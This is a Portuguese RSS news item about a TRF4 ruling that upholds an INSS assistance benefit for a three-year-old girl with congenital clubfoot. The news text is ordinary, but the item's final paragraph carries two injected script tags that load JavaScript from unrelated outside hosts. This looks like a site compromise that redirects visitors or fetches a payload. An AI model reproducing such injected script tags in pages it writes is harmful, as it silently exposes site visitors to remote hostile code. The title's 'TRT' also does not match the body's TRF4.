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		<title>TRT 4ª Região -Menina de três anos portadora de pé torto congênito ganha na justiça direito a benefício assistencial</title>
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		<pubDate>Thu, 06 Oct 2016 18:03:09 +0000</pubDate>
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										<content:encoded><![CDATA[<p>A 6ª Turma do Tribunal Regional Federal da 4ª Região (TRF4) manteve,<ins datetime="2016-10-05T15:46:37+00:00"> na última semana, sentença que determinou ao Instituto Nacional do Seguro Social (INSS) a concessão de benefício assistencial a uma criança de Giruá (RS) portadora de deficiência.</ins></p>
<p>Os pais da menina, atualmente com três anos, ajuizaram ação requerendo o benefício quando ela tinha um ano e meio. A criança é portadora de pé torto congênito bilateral, com seqüela anatômica definitiva.</p>
<p>A sentença favorável à família levou o INSS a recorrer ao tribunal. A autarquia alegou que a menina não preenche os requisitos para o recebimento do benefício, que são o risco social e a incapacidade total e permanente. Segundo o instituto, a renda familiar excede o mínimo estabelecido pela lei e a autora ainda é pequena, exigindo os mesmos cuidados que qualquer outra criança da mesma idade.</p>
<p>Para a relatora do processo, juíza federal Salise Monteiro Sanchotene, convocada para atuar no tribunal, os dois requisitos foram devidamente comprovados. Conforme a magistrada, a família, formada de quatro pessoas, sobrevive do seguro-desemprego de um salário mínimo recebido pela mãe, estando o pai também desempregado.</p>
<p>Em seu voto, reproduziu parte do laudo de avaliação socioeconômica, elaborado em novembro de 2014, segundo o qual a criança mora com os pais e uma irmã de cinco anos em uma casa cedida pela avó, em condições insalubres. A juíza destacou que a menina precisa estar sempre trocando o aparelho dos pés, que deve acompanhar seu crescimento e que o Sistema Único de Saúde não tem disponibilizado.</p>
<p><ins datetime="2016-10-05T15:46:37+00:00">“Considerando que o direito ao benefício de prestação continuada não pressupõe a verificação de um estado de miserabilidade extremo, bastando estar demonstrada a insuficiência de meios para o beneficiário, dignamente, prover a própria manutenção ou de tê-la provida por sua família, tenho por configurada a situação de risco social necessária à concessão do benefício”, concluiu Salise.</ins></p>
<p>Quanto à incapacidade, a magistrada ressaltou que o laudo pericial demonstra a existência de impedimento de longo prazo. “O problema é de natureza física capaz de obstruir a participação plena e efetiva da parte autora na sociedade em que está inserida em igualdade de condições com outras pessoas de mesma faixa etária e que exerçam idêntica ocupação ou similar”, avaliou a juíza.</p>
<p>O INSS deverá implantar o benefício assistencial a contar da data do requerimento administrativo, ou seja, 25/11/2013, com as parcelas em atraso acrescidas de juros e correção monetária.</p>
<p>Fonte: Tribunal Regional Federal da 4ª Região<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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